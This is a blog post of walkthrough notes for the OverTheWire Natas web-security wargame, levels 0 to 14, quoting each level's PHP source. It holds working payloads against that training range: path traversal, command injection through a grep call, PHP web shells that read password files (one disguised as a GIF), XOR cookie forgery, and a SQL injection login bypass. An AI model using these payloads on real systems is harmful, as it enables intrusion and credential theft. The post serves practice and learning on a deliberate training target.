Wargames clearance notes -- Natas

Posted by chadt on Thu, 10 Feb 2022 19:46:55 +0100

Range link: https://overthewire.org/wargames/natas/natas0.html

<img src="files/pixel.png">

It shows that the web has a directory / files. After accessing the files directory, there is only pixel Png also has a text with the next level password

[PARENTDIR]	Parent Directory	 	-	 
[IMG]	pixel.png	2016-12-15 16:07	303	 
[TXT]	users.txt	2016-12-20 05:15	145	 

<!-- No more information leaks!! Not even Google will find it this time... -->

Google can't find it, which means limiting the robots of crawlers Txt
visit http://natas3.natas.labs.overthewire.org/robots.txt
A directory is echoed, and there is the next level password in the access directory

http://natas3.natas.labs.overthewire.org//s3cr3t/

[PARENTDIR]	Parent Directory	 	-	 
[TXT]	users.txt	2016-12-20 05:15	40	 

You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

The Referer parameter of the request header needs to be changed to http://natas5.natas.labs.overthewire.org/
Use burpsuit to get the password

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

If the input content is consistent with the existing serect content, you will return the password of natas7 and see that a file secret is included Inc, you can directly access this file to find the actual content of serect and submit it

http://natas7.natas.labs.overthewire.org/index.php?page=home
http://natas7.natas.labs.overthewire.org/index.php?page=about

There are hints in the source code

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

The password of natas8 can be accessed by constructing path traversal

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

That is, execute the contents of endodedSecret in sequence HEX2BIN -- > strrev -- > Base64_ Decode can get the secret to submit and get the password

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

echo base64_decode(strrev(hex2bin($encodedSecret)))
?>

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

That is to execute grep - I $key dictionary txt
Here you can use the delimiter "|" to execute additional commands, construct the content and directly obtain the password

asdasda | cat /etc/natas_webpass/natas10

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

Similar to the previous question, only some command separators are filtered, but grep itself also has the function of reading text, constructing content and reading password

[A-Z][a-z] /etc/natas_webpass/natas11

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

First, the ultimate goal here is to change the value of "showpassword" to "yes"
xor_encrypt() is an XOR algorithm, where the value of key is unknown
loadData() is a function that reads the cookie and updates the data value
saveData() is a function that converts data values into cookie s
First get the cookie from the data xor key. You can use the data xor cookie to get the key. The value of the cookie can be seen by the browser, burpsuit, charles and other methods
Slightly modify xor_encrypt()

<?php
$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';

$decode_cookie = base64_decode($cookie);

function xor_encrypt($in) {
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    $key = json_encode($defaultdata);
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

$s_key = xor_encrypt($decode_cookie);

echo $s_key
?>

The key obtained by execution is qw8J
After getting the key, you need to change the value of "showpassword" in defaultdata to "yes" to regenerate the cookie, which can be realized by slightly modifying the remote sequence

<?php

$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; //XOR the incoming content and key bit by bit
    }

    return $outText;
}

function saveData($d) { 
    echo (base64_encode(xor_encrypt(json_encode($d))));
}

$my_cookie = saveData($defaultdata);

echo $my_cookie

?>

Finally, when opening the page, the reconstructed cookie is intercepted by burpsuit, replaced by the value after data = and forwarded to get the next level password

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

After reading for a long time, it is actually a random file name. There is no audit on the extension and content. Directly use php to view / etc/natas_webpass/natas13, just connect with the returned upload path to view...

<?php
    $a = system('cat /etc/natas_webpass/natas13');echo $a;
?>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

The key function here is exif_imagetype()

exif_imagetype() Read the first byte of an image and check its signature

So we add the image recognition head GIF89a in front of the code of the previous question? that will do

GIF89a?<?php
    $a = system('cat /etc/natas_webpass/natas14');echo $a;
?>

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

The user name and password entered are not filtered, and there is a get parameter. debug can see that the executed statements are very harmonious. Construct a payload to see the echo

http://natas14.natas.labs.overthewire.org/?username=1&password=1&debug=1

Echo

Executing query: SELECT * from users where username="1" and password="1"
Access denied!

Here, just use a "to close the user name, construct a forever true value with or, and then use # end
The constructed username is 1 "or 1#, and the password part can be empty. Submit to obtain the next level password

Topics: Web Development security